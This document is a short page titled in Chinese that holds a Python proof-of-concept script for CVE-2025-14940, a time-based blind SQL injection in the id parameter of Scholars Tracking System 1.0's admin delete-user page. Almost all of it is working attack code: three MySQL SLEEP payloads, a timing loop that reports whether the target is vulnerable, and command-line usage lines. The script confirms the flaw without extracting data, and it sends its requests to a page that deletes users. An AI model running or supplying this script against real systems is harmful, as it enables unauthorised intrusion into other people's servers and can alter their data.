CVE-2025-14940 Scholars Tracking System 1.0 SQL注入漏洞

import requests import sys # CVE-2025-14940 PoC - SQL Injection in Scholars Tracking System 1.0 # Target: /admin/delete_user.php # Type: Time-based blind SQL injection via ID parameter def exploit_sql_injection(target_url, user_id): """ Time-based blind SQL injection PoC Tests if the ID parameter is vulnerable to SQL injection """ # Normal request (should succeed) normal_url = f"{target_url}/admin/delete_user.php?id={user_id}" # SQL injection payloads for testing payloads = [ f"{user_id}' AND SLEEP(5)-- -", # MySQL time-based blind f"{user_id}' AND (SELECT * FROM (SELECT SLEEP(5))a)-- -", f"{user_id}' OR SLEEP(5)-- -", ] print(f"[*] Testing target: {target_url}") print(f"[*] Normal request: {normal_url}") # Test normal request try: response = requests.get(normal_url, timeout=10) print(f"[+] Normal request status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False # Test injection payloads for i, payload in enumerate(payloads, 1): injection_url = f"{target_url}/admin/delete_user.php?id={payload}" print(f"\n[*] Testing payload {i}: {payload}") try: import time start_time = time.time() response = requests.get(injection_url, timeout=30) elapsed_time = time.time() - start_time print(f"[+] Response time: {elapsed_time:.2f}s") if elapsed_time >= 5: print(f"[!] VULNERABLE! Time-based SQL injection confirmed") print(f"[!] Payload {i} caused {elapsed_time:.2f}s delay") return True except requests.exceptions.Timeout: print("[!] VULNERABLE! Request timed out (possible successful injection)") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("\n[-] No obvious SQL injection detected with test payloads") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-14940.py <target_url> <user_id>") print("Example: python cve-2025-14940.py http://localhost:8080 1") sys.exit(1) target = sys.argv[1].rstrip('/') uid = sys.argv[2] exploit_sql_injection(target, uid)